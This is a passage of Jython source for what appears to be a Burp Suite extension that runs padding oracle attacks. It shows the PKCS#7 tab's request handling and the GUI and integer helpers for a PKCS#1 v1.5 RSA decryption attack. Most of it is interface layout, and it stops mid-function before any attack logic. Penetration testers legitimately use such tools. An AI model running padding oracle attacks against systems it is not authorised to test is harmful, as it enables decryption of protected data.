bytesDisplay = bytesDisplay.replace(self.gSelectedPayloadPKCS7.encode(), insertionPointChar + self.gSelectedPayloadPKCS7.encode() + insertionPointChar)
self.__jEditorPaneReqPKCS7.setText(bytesDisplay)
# Disabled the format dropdown box and url encode checkbox
self.__jComboBoxFormatPKCS7.setEnabled(False)
self.__jCheckBoxUrlEncodedPKCS7.setEnabled(False)
except Exception as e:
JOptionPane.showMessageDialog(self._jPaddingOracleTab, e, "Exception", JOptionPane.ERROR_MESSAGE)
return
def PKCS7(self, invocation):
# Intialize the variables
self.gHttpRequestRawStringPKCS7=""
self.gHttpRequestStringPKCS7=""
self.gPayloadPKCS7=""
self.gPayloadFormatPKCS7=""
self.gSelectedPayloadPKCS7=None
self.gOpThreadPKCS7 = None
self.gIsPayloadUrlEncodedPKCS7 = False
# enabled the format dropdown box and url encode checkbox
self.__jComboBoxFormatPKCS7.setSelectedIndex(0)
self.__jComboBoxFormatPKCS7.setEnabled(True)
self.__jCheckBoxUrlEncodedPKCS7.setSelected(False)
self.__jCheckBoxUrlEncodedPKCS7.setEnabled(True)
# Get the http request message
invMessages = invocation.getSelectedMessages()
if len(invMessages) == 0:
return
self.gReqResPKCS7 = invMessages[0]
self.gHttpRequestRawStringPKCS7 = self._helpers.bytesToString(self.gReqResPKCS7.getRequest())
self.__jEditorPaneReqPKCS7.setText(self.gHttpRequestRawStringPKCS7)
# Reset all the fields
self.__textPadMessagePKCS7.setText("")
self.__textPlaintextPKCS7.setText("")
self.__textIvPKCS7.setText("")
self.__jTextAreaOutputPKCS7.setText("")
# switch to the PKCS7 tab
self._jPaddingOracleTab.setSelectedComponent(self.__jPanelPKCS7)
parentTab = self._jPaddingOracleTab.getParent()
parentTab.setSelectedComponent(self._jPaddingOracleTab)
# *************************************** PKCS#1 v1.5 ***************************************
# global variables
gReqResPKCS15 = IHttpRequestResponse
gHttpRequestRawStringPKCS15 = ""
gPayloadPKCS15 = ""
gOpThreadPKCS15 = None
gSelectedPayloadPKCS15 = None
gModulusPKCS15=0
gExponentPKCS15=0
gPadMsgSelPKCS15 = ""
gPadMsgPKCS15 = ""
gByteLenPKCS15 = 0
gQueriesPKCS15 = 0
gTimePKCS15 = 0
gIntervalPKCS15 = namedtuple('Interval', ['lower_bound', 'upper_bound'])
gIsPayloadUrlEncodedPKCS15 = False
def DisplayOutput_PKCS15(self, text):
self.__jTextAreaOutputPKCS15.append(text)
def setGUI_PKCS15(self):
self.__jPanelPKCS15 = JPanel()
jPanelLayoutPKCS15 = GroupLayout(self.__jPanelPKCS15)
self.__jPanelPKCS15.setLayout(jPanelLayoutPKCS15)
jPanelLayoutPKCS15.setAutoCreateGaps(True)
jPanelLayoutPKCS15.setAutoCreateContainerGaps(True)
self.__jLabelReqPKCS15 = JLabel("Request")
self.__jScrollPaneReqPKCS15 = JScrollPane()
self.__jEditorPaneReqPKCS15 = JEditorPane()
self.__jEditorPaneReqPKCS15.setEditable(False)
self.__jScrollPaneReqPKCS15.setViewportView(self.__jEditorPaneReqPKCS15)
self.__jButtonClearPayloadPKCS15 = JButton("Clear Selection",actionPerformed=self.clearPayload_PKCS15)
self.__jButtonSelPayloadPKCS15 = JButton("Select Payload",actionPerformed=self.selectPayload_PKCS15)
self.__jLabelFormatPKCS15 = JLabel("Format:")
self.__jComboBoxFormatPKCS15 = JComboBox(['Hex', 'Base64', 'Decimal'])
self.__jComboBoxFormatPKCS15.setSelectedIndex(0)
self.__jCheckBoxUrlEncodedPKCS15=JCheckBox("Url Encoded")
self.__jLabelPublicExpPKCS15 = JLabel("Public Exponent e:")
self.__textPublicExpPKCS15 = JTextField()
self.__textPublicExpPKCS15.setToolTipText("RSA public exponent in decimal")
self.__jLabelPublicModPKCS15 = JLabel("Public Modulus n:")
self.__textPublicModPKCS15 = JTextField()
self.__textPublicModPKCS15.setToolTipText("RSA public modulus in decimal")
self.__jLabelPadMessagePKCS15 = JLabel("Padding Response:")
self.__textPadMessagePKCS15 = JTextField()
self.__textPadMessagePKCS15.setToolTipText("part or full of the valid or invalid padding response, only used in the decryption operation")
self.__jComboBoxPadMsgPKCS15 = JComboBox(['Invalid', 'Valid'])
self.__jComboBoxPadMsgPKCS15.setSelectedIndex(0)
self.__jLabelUpdateIntervalPKCS15 = JLabel("Update Interval:")
self.__jComboBoxUpdateIntervalPKCS15 = JComboBox(['100', '1000', '10000'])
self.__jComboBoxUpdateIntervalPKCS15.setSelectedIndex(0)
self.__jButtonTestPKCS15 = JButton("Test", actionPerformed=self.testPayload_PKCS15)
self.__jButtonDecPKCS15 = JButton("Decrypt", actionPerformed=self.decryptPayload_PKCS15)
self.__jButtonStopPKCS15 = JButton("Stop", actionPerformed=self.stopOperation_PKCS15)
self.__jLabelOutPKCS15 = JLabel("Output")
self.__jTextAreaOutputPKCS15 = JTextArea()
self.__jTextAreaOutputPKCS15.setEditable(False)
self.__jTextAreaOutputPKCS15.setColumns(20)
self.__jTextAreaOutputPKCS15.setRows(5)
self.__jScrollPaneOutPKCS15 = JScrollPane()
self.__jScrollPaneOutPKCS15.setViewportView(self.__jTextAreaOutputPKCS15)
jPanelLayoutPKCS15.setHorizontalGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelReqPKCS15)
.addComponent(self.__jScrollPaneReqPKCS15, GroupLayout.PREFERRED_SIZE, 0, 1080)
.addGroup(
jPanelLayoutPKCS15.createSequentialGroup()
.addGap(300, 300, 300)
.addComponent(self.__jButtonSelPayloadPKCS15)
.addGap(20, 20, 20)
.addComponent(self.__jLabelFormatPKCS15)
.addComponent(self.__jComboBoxFormatPKCS15,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addGap(20, 20, 20)
.addComponent(self.__jCheckBoxUrlEncodedPKCS15)
.addGap(20, 20, 20)
.addComponent(self.__jButtonClearPayloadPKCS15))
.addGroup(
jPanelLayoutPKCS15.createSequentialGroup()
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelPublicExpPKCS15)
.addComponent(self.__jLabelPublicModPKCS15)
.addComponent(self.__jLabelPadMessagePKCS15)
.addComponent(self.__jLabelUpdateIntervalPKCS15))
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__textPublicExpPKCS15, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textPublicModPKCS15, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__textPadMessagePKCS15, GroupLayout.PREFERRED_SIZE, 870, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jComboBoxUpdateIntervalPKCS15,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(self.__jComboBoxPadMsgPKCS15,GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addComponent(self.__jLabelOutPKCS15)
.addComponent(self.__jScrollPaneOutPKCS15,GroupLayout.PREFERRED_SIZE, 0, 1080)
.addGroup(
jPanelLayoutPKCS15.createSequentialGroup()
.addGap(240, 240, 240)
.addComponent(self.__jButtonTestPKCS15)
.addGap(165, 165, 165)
.addComponent(self.__jButtonDecPKCS15)
.addGap(165, 165, 165)
.addComponent(self.__jButtonStopPKCS15))
)
jPanelLayoutPKCS15.setVerticalGroup(
jPanelLayoutPKCS15.createSequentialGroup()
.addComponent(self.__jLabelReqPKCS15)
.addComponent(self.__jScrollPaneReqPKCS15, GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addGap(15, 15, 15)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jButtonSelPayloadPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jLabelFormatPKCS15)
.addComponent(self.__jComboBoxFormatPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jCheckBoxUrlEncodedPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonClearPayloadPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelPublicExpPKCS15)
.addComponent(self.__textPublicExpPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelPublicModPKCS15)
.addComponent(self.__textPublicModPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelPadMessagePKCS15)
.addComponent(self.__textPadMessagePKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jComboBoxPadMsgPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jLabelUpdateIntervalPKCS15)
.addComponent(self.__jComboBoxUpdateIntervalPKCS15, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addGap(20, 20, 20)
.addComponent(self.__jLabelOutPKCS15)
.addComponent(self.__jScrollPaneOutPKCS15,GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE)
.addGap(20, 20, 20)
.addGroup(
jPanelLayoutPKCS15.createParallelGroup()
.addComponent(self.__jButtonTestPKCS15, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonDecPKCS15, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE)
.addComponent(self.__jButtonStopPKCS15, GroupLayout.PREFERRED_SIZE, 40, GroupLayout.PREFERRED_SIZE))
.addGap(50, 50, 50)
)
def BytesToLong_PKCS15(self, bytes_obj):
return int(hexlify(bytes_obj),16)
def LongToBytes_PKCS15(self, integer):
value = hex(integer).replace('0x','').rstrip("L")
if(len(value)%2 != 0):
value = "0" + value
return unhexlify(value)
# math.ceil and math.floor don't work for large integers
def Floor_PKCS15(self, a, b):
return a // b
def Ceil_PKCS15(self, a, b):
return a // b + (a % b > 0)
def Decode_PKCS15(self, encoded):
encoded = encoded[2:]